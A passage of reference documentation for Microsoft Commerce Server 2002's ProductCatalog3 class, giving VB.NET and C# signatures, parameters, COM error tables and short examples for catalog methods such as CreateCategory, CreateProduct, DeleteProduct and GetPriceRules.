  string strCategoryName,
  ref object pRSInitialPropValuesList,
  ref object plTotalRecordsAvailable
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category in which to search.
pRSInitialPropValuesList
An Object used to return the recordset of initial property values.
plTotalRecordsAvailable
An Object used to return the total records available.
[C#]
strCategoryName
A string that contains the name of the category in which to search.
pRSInitialPropValuesList
An object used to return the Recordset of initial property values. Set the object to Type.Missing if the returned Recordset is not needed.
plTotalRecordsAvailable
An object used to return the total records available. Set the object to Type.Missing if the returned count is not needed.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the state of this specification search.

[C#] This method returns the state of the specification search as a string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011D [Visual Basic .NET] &H8898011D | The properties that you specified to return are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_NOT_EXISTS_NOT_SEARCHABLE | [C#] 0x88980049 [Visual Basic .NET] &H88980049 | The category you specified does not exist or is not marked as specification searchable.

Remarks

The optional parameter pRSInitialPropValuesList is a single-row recordset. The returned recordset contains one field for each searchable property for the products under the specified category. Each field contains a System.Array. Each System.Array contains a set of all the distinct values found in all the products under that category. Only the properties that are marked as searchable are returned in the recordset.

If all the searchable properties contain NULL values then pRSInitialPropValuesList parameter will be set to NULL and the plTotalRecordsAvailable parameter will be 0.

A category can be marked as searchable by setting the IsSearchable property to True.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic .NET]

Example

'
strSearchHandle = myProductCatalog.BeginSpecificationSearch(strCategoryName, pRSInitialPropValuesList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

ProductCatalog3 Class

ProductCatalog3.AddSpecificationSearchClause

ProductCatalog3.GetSpecificationSearchClauses

ProductCatalog3.PerformSpecificationSearch


ProductCatalog3.CreateCategory Method (PIA)

Use this method to create a new category.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function CreateCategory(
 strDefinitioName As String,
 strCategoryName As String,
 Optional strParentCategoryName As Object,
 Optional fIsSpecificationSearchable As Object
) As Category
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public ICategory CreateCategory(
 string strDefinitioName,
 string strCategoryName,
 object strParentCategoryName,
 object fIsSpecificationSearchable
);

Parameters

[Visual Basic .NET]
strDefinitioName
A String that contains the name of the category definition on which the category is based.
strCategoryName
A String that contains the name of the category to be created.
strParentCategoryName
An Object that contains the name of the category that will be a parent to this new category, if any.
fIsSpecificationSearchable
An Object that determines whether or not this category is to be specification searchable.
[C#]
strDefinitioName
A string that contains the name of the category definition on which the category is based.
strCategoryName
A string that contains the name of the category to be created.
strParentCategoryName
An object that contains the name of the category that will be a parent to this new category, if any. Set to Type.Missing to indicate no parent category.
IsSpecificationSearchable
An object that determines whether or not this category is to be specification searchable. Set to Type.Missing to indicate the default.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the newly created Category object.

[C#] This method returns an ICategory interface to the newly created catalog object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800EA [Visual Basic .NET] &H889800EA | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000B [Visual Basic .NET] &H8898000B | The definition you specified does not exist.
E_CAT_PRODUCT_DEFN_FOR_CATEGORY | [C#] 0x8898004B [Visual Basic .NET] &H8898004B | The definition name that you specified is a product definition. This definition cannot be used to create the category.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_CATEGORY_EXISTS | [C#] 0x8898001D [Visual Basic .NET] &H8898001D | The category you specified already exists.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.
[Visual Basic .NET]

Example

oMyCategory = myProductCatalog.CreateCategory("BasicCategoryDefinition", "T-Shirts", "Apparel", True)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.GetCategory

ProductCatalog3.DeleteCategory


ProductCatalog3.CreateCustomCatalog Method (PIA)

The CreateCustomCatalog method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.


ProductCatalog3.CreateProduct Method (PIA)

Use this method to create a new product within the catalog according to specified parameters.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function CreateProduct(
 strDefinitionName As String,
 varProductID As Object,
 cyListPrice As Decimal,
 Optional strParentCategoryName As Object
) As IProduct
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public IProduct CreateProduct(
 string strDefinitionName,
 object varProductID,
 decimal cyListPrice,
 object strParentCategoryName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the product definition for the product.
varProductID
An Object that contains the unique product ID for the product to be created. The data type must match the property used to uniquely identify products in this catalog.
cyListPrice
A Decimal value that contains the list price of the product to be created.
strParentCategoryName
An Object that contains the name of the category to be designated as the parent category of the product to be created.
[C#]
strDefinitionName
A string that contains the name of the product definition for the product.
varProductID
An object that contains the unique product ID for the product to be created. The data type must match the property used to uniquely identify products in this catalog.
cyListPrice
A decimal that contains the list price of the product to be created.
strParentCategoryName
An object that contains the name of the category to be designated as the parent category of the product to be created. Set to Type.Missing to indicate no parent category.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the IProduct interface to the Product object that was created.

[C#] This method returns a Product object used to return the properties of the newly created product.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &Hx889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800EA [Visual Basic .NET] &Hx889800EA | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &Hx8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &Hx889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &Hx88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000B [Visual Basic .NET] &H8898000B | The definition you specified does not exist.
E_CAT_CATEGORY_DEFN_FOR_PRODUCT | [C#] 0x8898004A [Visual Basic .NET] &H8898004A | The definition name that you specified is a category definition. This definition cannot be used to create the product.
E_CAT_INVALID_PRODUCT_DEFINITION | [C#] 0x8898005F [Visual Basic .NET] &Hx8898005F | The product definition you specified contains a variant property that is being used as the ProductID for this catalog.
E_CAT_PRODUCT_EXISTS | [C#] 0x8898001B [Visual Basic .NET] &Hx8898001B | The product you specified already exists.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &Hx8898001C | The category you specified does not exist.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. that should not be used.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs.

Remarks

A product family is a product that has variants.

The properties of the definition on which a new product is based will determine whether the product being created is a single product or a product family. If the definition used to create the product has variant properties, the newly created product will be a product family.

[Visual Basic .NET]

Example

oMyNewProduct = myProductCatalog.CreateProduct("BasicProduct", "SKU3004", cyListPrice, "Apparel")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.DeleteProduct

ProductCatalog3.GetProduct


ProductCatalog3.DeleteCategory Method (PIA)

Use this method to delete a category from the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeleteCategory(
 strCategoryName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteCategory(
 string strCategoryName
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category to be deleted.
[C#]
strCategoryName
A string that contains the name of the category to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_CATEG_LENGTH | [C#] 0x88980047 [Visual Basic .NET] &H88980047 | The category name you specified is either blank or exceeds the maximum allowed length of 128 characters or cannot be converted to a string.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_VC_CANT_DELETE_INCLUDED_CATEGORY | [C#] 0x88980104 [Visual Basic .NET] &H88980104 | The DeleteCategory method cannot be called for a virtual catalog's included categories.
E_CAT_CATEGORY_DOESNT_EXIST | [C#] 0x8898001C [Visual Basic .NET] &H8898001C | The category you specified does not exist.
E_CAT_VC_ERROR_IN_PROPAGATING_BC_CHANGES | [C#] 0x88980101 [Visual Basic .NET] &H88980101 | There was an error in propagating the base catalog changes to the dependent virtual catalogs

Remarks

Any products or categories that existed in the deleted category, but not in another category, will be orphaned. Categories will become root categories and products will become root products. For example: CategoryA and CategoryB are child categories of CategoryX. CategoryA is also a child of CategoryY. When CategoryX is deleted, CategoryB will become a root category, but CategoryA will not.

You cannot delete an inherited category from a virtual catalog. The following error will be returned: E_CAT_VC_CANT_DELETE_INCLUDED_CATEGORY "The DeleteCategory method cannot be called for a virtual catalog's included categories."

If this category has been specified as a Pricing category for a custom catalog, it will be removed as the Pricing category. All the products using this category as a Pricing category will revert to their original price and the category will be removed as the Pricing category

[Visual Basic .NET]

Example

myProductCatalog.DeleteCategory("Apparel")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.RootCategories

ProductCatalog3.CreateCategory

ProductCatalog3.GetCategory


ProductCatalog3.DeleteCustomCatalog Method (PIA)

The DeleteCustomCatalog method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.


ProductCatalog3.DeleteProduct Method (PIA)

Use this method to delete a product from the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub DeleteProduct(
 varProductID As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void DeleteProduct(
 object varProductID
);

Parameters

[Visual Basic .NET]
varProductID
An Object that contains the unique identifier of the product to be deleted.
[C#]
varProductID
An object that contains the unique identifier of the product to be deleted.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.
E_CAT_INVALIDVALUE_FOR_PRODUCTID | [C#] 0x8898004E [Visual Basic .NET] &H8898004E | The value you specified for the ProductID is either out of range or does not satisfy the Min/Max condition.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C#] 0x889800FB [Visual Basic .NET] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_PRODUCT_DOESNT_EXIST | [C#] 0x8898001E [Visual Basic .NET] &H8898001E | The product you specified does not exist.

Remarks

This method removes the product from the SQL Server database. The Product object caches information for improved performance. Because of this cache, the CatalogName and ProductID methods of the Product object will continue to return the old values after the DeleteProduct method has been called. The Variants, ParentCategories, AncestorCategories, RelatedCategories, and RelatedProducts properties will return an empty Recordset and no error message.

Caution

  • Deleting a product with variants also deletes all of the variants.
[Visual Basic .NET]

Example

myProductCatalog.DeleteProduct(654321)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.CreateProduct

ProductCatalog3.GetProduct


ProductCatalog3.GenerateCustomCatalog Method (PIA)

The GenerateCustomCatalog method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.


ProductCatalog3.GetCatalogAttributes Method (PIA)

Use this method to retrieve the attributes of this catalog. The returned Recordset is disconnected and updateable.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetCatalogAttributes() As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetCatalogAttributes();

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the attributes of this catalog.

[C#] This method returns a _Recordset interface to a Recordset that contains the attributes of this catalog.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.

Remarks

[Visual Basic .NET]

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
CatalogName | String 128 characters | The name of the catalog.
Locale | Integer | None.
StartDate | Datetime | None.
End Date | Datetime | None.
VariantID | String 128 characters | The field name that uniquely identifies variants.
ProductID | String 128 characters | The field name that uniquely identifies products.
Currency | String 128 characters | None.
WeightMeasure | String 128 characters | None.
TimeStamp | Timestamp | None.
CatalogID | Integer | None.
CustomCatalog | Boolean | A flag indicating whether this is a custom catalog. True indicates a custom catalog.
FreeTextIndexCreated | Datetime | None.
ProductTableUpdated | Datetime | None.
[C#]

The returned Recordset is disconnected and updateable. The following table shows the fields that the returned Recordset contains.

Field | Data Type | Description
CatalogName | String 128 characters | The name of the catalog.
Locale | Integer | None.
StartDate | Datetime | None.
End Date | Datetime | None.
VariantID | String 128 characters | The field name that uniquely identifies variants.
ProductID | String 128 characters | The field name that uniquely identifies products.
Currency | String 128 characters | None.
WeightMeasure | String 128 characters | None.
TimeStamp | Timestamp | None.
CatalogID | Integer | None.
CustomCatalog | Boolean | A flag indicating whether this is a custom catalog. True indicates a custom catalog.
FreeTextIndexCreated | Datetime | None.
ProductTableUpdated | Datetime | None.
[Visual Basic .NET]

Example

rsMyCatAttribs = myProductCatalog.GetCatalogAttributes()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.GetCustomCatalogAttributes

ProductCatalog3.SetCatalogAttributes


ProductCatalog3.GetCategory Method (PIA)

Use this method to retrieve the specified category from a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function GetCategory(
 strCategoryName As String
) As ICategory
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public ICategory GetCategory(
 string strCategoryName
);

Parameters

[Visual Basic .NET]
strCategoryName
A String that contains the name of the category to be returned.
[C#]
strCategoryName
A string that contains the name of the category to be returned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the ICategory interface to the Category object specified.

[C#] This method returns an ICategory interface used to return the specified category.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
S_FALSE | 1 | The category does not exist
[Visual Basic .NET]

Example

oMyCategory = myProductCatalog.GetCategory("Apparel")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.CreateCategory

ProductCatalog3.DeleteCategory


ProductCatalog3.GetCategoryCustomPrice Method (PIA)

The GetCategoryCustomPrice method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.


ProductCatalog3.GetCustomCatalogAttributes Method (PIA)

The GetCustomCatalogAttributes method is obsolete in Microsoft Commerce Server 2002. It will always return the following COMException:

Constant | Value | Description
E_CAT_CUSTOM_CC_NOT_SUPPORTED | [C#] 0x889800BD [Visual Basic .NET] &H889800BD | This method is not supported.

Remarks

Custom catalogs have been replaced in Microsoft Commerce Server 2002 by virtual catalogs.


ProductCatalog3.GetDependentCatalogs Method (PIA)

Use this method to return a recordset with a single field containing all of the virtual catalogs that are dependent on this catalog. This method cannot be called on a virtual catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Function GetDependentCatalogs(
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  Optional plTotalRecordsInQuery As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetDependentCatalogs(
);
  object lStartingRecord,
  object lRecordsToRetrieve,
  object plTotalRecordsInQuery,
);

Parameters

[Visual Basic .NET]
lStartingRecord
An Object that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve
An Object that contains the number of records to retrieve.
plTotalRecordsInQuery
An Object that, if supplied, contains on output the total number of records.
[C#]
lStartingRecord
An Object that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve
An Object that contains the number of records to retrieve.
plTotalRecordsInQuery
An Object that, if supplied, contains on output the total number of records.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_VC_NOT_A_SUPPLIER_CATALOG | [C#] 0x889800F9 [Visual Basic .NET] &H889800F9 | Invalid catalog type. This API can only be called on a base catalog.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.GetLanguages Method (PIA)

Use this method to return a recordset with a single field containing all of the supported languages.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Function GetLanguages() As _Recordset
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetLanguages(
);

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the supported languages.

[C#] This method returns a _Recordset interface to a Recordset object used to return the supported languages.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid

Remarks

The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
Language | String 10 characters | The ISO 639+1 code of the language.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.GetPriceRules Method (PIA)

Use this method to get a Recordset containing the specified price rules.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ' for _Recordset
…
Public Function GetPriceRules(
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  Optional strPropertyToSortOn As Object,
  Optional fSortAscending As Boolean,
  Optional plTotalRecordsInQuery As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetPriceRules(
  object lStartingRecord,
  object lRecordsToRetrieve,
  object strPropertyToSortOn,
  bool fSortAscending,
  object plTotalRecordsInQuery,
);

Parameters

[Visual Basic .NET]
lStartingRecord
An Object that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve
An Object that contains the number of records to retrieve.
strPropertyToSortOn
An Object that contains the property on which to sort. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order. The default value is True.
plTotalRecordsInQuery
An Object that, if supplied, contains on output the total number of records.
[C#]
lStartingRecord
A Variant that contains the starting record number. A value of one (1) indicates the first record. If the starting record number is not specified, then this method starts with record one (1).
lRecordsToRetrieve
A Variant that contains the number of records to retrieve.
strPropertyToSortOn
A Variant that contains the property on which to sort. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order. The default value is True.
plTotalRecordsInQuery
A Variant that, if supplied, contains on output the total number of records.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a _Recordset interface to a Recordset that contains the properties for the object.

[C#] This method returns a _Recordset interface to a Recordset object used to return the product variant.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C#] 0x889800FA [Visual Basic .NET] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011E [Visual Basic .NET] &H8898011E | The properties that you specified to sort are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

Remarks

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
AdjustmentType | CatalogCustomPriceEnum enumeration | The type of the pricing rule.
Amount | Integer | None
CategoryName | String 85 characters | None
ProductID | String 256 characters | The field name that uniquely identifies products.
VariantID | String 256 characters | The field name that uniquely identifies variants.

The following table shows the values of the CatalogCustomPriceEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscNoCustomPrice | 0 | The custom price is the same as the base price.
cscPercentageMultiplier | 1 | The custom price = basePrice + (basePrice * pfpCustomPriceAmount /100).
cscAddFixedAmount | 2 | The custom price is the value in the parameter pfpCustomPriceAmount added to the base price.
cscReplacePrice | 3 | The custom price is the value in the parameter pfpCustomPriceAmount.
cscInvalidCustomPrice | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class


ProductCatalog3.GetProduct Method (PIA)

Use this method to retrieve the specified product from a catalog.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function GetProduct(
 varProductID As Object
) As IProduct
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public IProduct GetProduct(
 object varProductID
);

Parameters

[Visual Basic .NET]
varProductID
An Object that contains the unique identifier of the product.
[C#]
varProductID
An object that contains the unique identifier of the product.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an IProduct interface to the product specified.

[C#] This method returns an IProduct interface to a Product.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that COMException may wrap as exceptions for this method.

Constant | Value | Description
E_POINTER | [C#] 0x80004003 [Visual Basic .NET] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PRODUCTID | [C#] 0x8898005B [Visual Basic .NET] &H8898005B | The value you specified for the ProductID is blank or exceeds the maximum allowed length of 256 characters.
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
S_FALSE | 1 | The product does not exist.
[Visual Basic .NET]

Example

oMyProduct = myProductCatalog.GetProduct("SKU4005")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cataloglib (in cataloglib.dll)

See Also

ProductCatalog3 Class

ProductCatalog3.CreateProduct

ProductCatalog3.DeleteProduct


ProductCatalog3.GetProductVariant Method (PIA)

Use this method to retrieve the properties of a specified product variant.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
